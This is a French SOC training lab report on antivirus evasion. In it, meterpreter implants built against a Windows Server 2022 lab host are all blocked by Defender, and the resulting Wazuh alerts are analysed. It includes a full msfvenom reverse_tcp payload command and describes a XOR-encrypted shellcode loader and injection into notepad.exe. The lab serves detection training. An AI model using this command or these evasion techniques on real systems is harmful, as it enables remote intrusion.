

Rapport Lab SOC — Chapitre 6, Module 4 : Évasion Antivirus

Paliers 1, 2 et 3 — Résultats et Leçons SOC

Date : 2026-06-23

Environnement : Kali Linux (attaquant, 192.168.56.100) -> Windows Server 2022 (cible, 192.168.56.101)

SIEM : Wazuh 4.12.0 — Agent 002 (WindowsServer2022) actif

Payload : windows/x64/meterpreter/reverse_tcp LHOST=192.168.56.100 LPORT=4444

Contexte

L'objectif du Module 4 est de prouver de bout en bout une persistance sur un serveur Windows : fabriquer un implant, l'installer comme service automatique, redémarrer le serveur, et voir la connexion Meterpreter revenir toute seule — le tout détecté par Wazuh.

Avant d'installer la persistance, l'implant doit passer Windows Defender.

Trois paliers d'évasion ont été testés successivement, sans désactiver Defender ni tricher.

Prérequis accomplis (séances précédentes)

- Canal Defender collecté par Wazuh : bloc `<localfile>` ajouté dans `agent.conf` (manager), validé avec `verify-agent-conf`, agent 002 redémarré. Prouvé avec EICAR.
 - Règles Wazuh actives : **62123** (détection, niveau 12) et **62124** (quarantaine, niveau 3).
-

Palier 1 — Encodeur XOR msfvenom

Technique : payload msfvenom encodé avec `x64/xor_dynamic`, 10 itérations, format `.exe`.

Commande Kali :

```
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.56.100 LPORT=4444  
-e x64/xor_dynamic -i 10 -f exe -o /home/kali/evasion1_xor.exe
```

Résultat : Defender bloque via AMSI au moment de l'exécution dans `wsmprovhost.exe` (processus WinRM). Menace identifiée : `Trojan:Win32/Zusy.NCD!MTB`.

Leçon : Encoder les octets sur le disque ne suffit pas. L'AMSI (Anti-Malware Scan Interface) intercepte le code en mémoire au moment où il est chargé — après le déchiffrement. L'encodeur seul est inutile contre un Defender moderne.

Wazuh : rules 62123 + 62124 déclenchées. Canal Defender fonctionnel.

Palier 2 — Shellcode chiffré XOR + loader C

Technique : extraire le shellcode brut, le chiffrer avec une clé XOR personnalisée (0xAB),

écrire un loader C qui déchiffre en mémoire et exécute via `VirtualAlloc + CreateThread`.

Fichiers produits sur Kali :

- `shellcode.bin` : shellcode brut 509 octets (`msfvenom -f raw`)
- `sc_encrypted.h` : shellcode XOR-chiffré en tableau C
- `loader.c` : loader C avec déchiffrement + exécution
- `loader2.exe` : binaire compilé avec `x86_64-w64-mingw32-gcc` (16 Ko)

Résultat : Defender supprime `loader2.exe` pendant le téléchargement, avant l'exécution.

La protection temps réel scanne le fichier à l'écriture sur disque.

Leçon : Le chiffrement XOR simple (clé fixe 1 octet) est connu des éditeurs d'antivirus.

De plus, la combinaison `VirtualAlloc(PAGE_EXECUTE_READWRITE) + CreateThread` est une signature comportementale classique détectée par les heuristiques de Defender.

Wazuh : rules 62123 + 62124 déclenchées. Fichier ciblé visible dans l'alerte.

Palier 3 — Injection de processus (Process Injection)

Technique : au lieu de créer sa propre zone mémoire suspecte, le loader démarre `notepad.exe`, alloue de la mémoire dans son espace (`VirtualAllocEx`), y écrit le shellcode (`WriteProcessMemory`), puis crée un thread distant (`CreateRemoteThread`). Le shellcode s'exécute dans le contexte d'un processus Windows légitime.

Fichiers produits sur Kali :

- `loader3.c` : loader C avec injection dans `notepad.exe`
- `loader3.exe` : binaire compilé (même chaîne de compilation)

Résultat : Defender supprime `loader3.exe` pendant le téléchargement. Même résultat que le palier 2 — bloqué avant même l'exécution.

Leçon : Defender surveille aussi les patterns d'import table du binaire (`VirtualAllocEx`, `WriteProcessMemory`, `CreateRemoteThread` ensemble = signature connue). Le fichier est détecté à l'écriture sur disque, indépendamment de la technique d'exécution.

Wazuh : rules 62123 + 62124 déclenchées.

Vue analyste SOC — Ce que Wazuh a vu

Évènement	Rule ID	Niveau	Signification
Event 1116 (Defender détecte)	62123	12	Menace identifiée — priorité haute
Event 1117 (Defender agit)	62124	3	Fichier mis en quarantaine

Chaque tentative a généré les deux règles. Le canal Defender est opérationnel et remonte toutes les détections sans angle mort.

Angle mort confirmé : si un implant parvenait à passer Defender, aucune alerte 62123/62124 ne tomberait. La détection reposerait alors sur d'autres sources : Event 4688 (création de processus), Event 7045 (nouveau service), trafic réseau suspect, ou Sysmon.

Analyse de l'alerte Wazuh — Vue analyste SOC

En ouvrant le détail d'une alerte rule 62123 dans le dashboard Wazuh (Threat Hunting -> Events), voici les champs clés visibles :

Champ Wazuh	Valeur observée	Signification
agent.name	WindowsServer2022	Machine cible de l'attaque
data.win.eventdata.categoryName	Cheval de Troie	Classification Defender
data.win.eventdata.detectionTime	2026-06-23T11:44:47.634Z	Horodatage précis de la détection
data.win.eventdata.detectionUser	AUTORITE NT\\Système	Defender (processus système)
data.win.eventdata.fwLink	Trojan:Script/Wacatac.B!ml	Nom complet de la menace identifiée

Point clé — le suffixe !ml :

La menace identifiée est Trojan:Script/Wacatac.B!ml. Le suffixe !ml signifie

Machine Learning — Defender n'a pas utilisé une signature classique (hash connu, séquence d'octets reconnue). Il a utilisé son moteur d'intelligence artificielle qui analyse les patterns comportementaux du fichier.

C'est pourquoi nos loaders custom (XOR + C, injection de processus) ont été bloqués malgré l'absence de signature connue : l'IA a reconnu le schéma suspect (allocation mémoire exécutable, écriture de shellcode, création de thread) sans avoir besoin de reconnaître le fichier lui-même.

Implication SOC : la détection ML est beaucoup plus difficile à contourner que la détection par signature classique. Un attaquant doit aujourd'hui tromper à la fois les signatures ET les modèles d'IA — c'est pourquoi l'évasion moderne est une spécialité à part entière.

Conclusion

Contourner un antivirus moderne (Windows Defender sur Windows Server 2022 à jour) est une discipline à part entière. Les techniques de base (encodeurs, chiffrement simple, loaders C classiques) sont connues et détectées par le moteur ML. Les vrais attaquants utilisent des outils commerciaux développés sur plusieurs années (Cobalt Strike, Havoc, Brute Ratel).

Ce module a atteint son objectif SOC :

- Comprendre les trois couches de détection : signature disque, AMSI mémoire, heuristique ML
- Voir comment Wazuh détecte chaque tentative via le canal Defender (rules 62123/62124)
- Lire une alerte complète dans le dashboard Wazuh comme un vrai analyste
- Identifier les angles morts (implant qui passe = silence dans Wazuh -> nécessité d'autres sources)

Prochaine étape : Module 5 — Credential Dumping.

L'évasion avancée fera l'objet d'un chapitre dédié ultérieurement.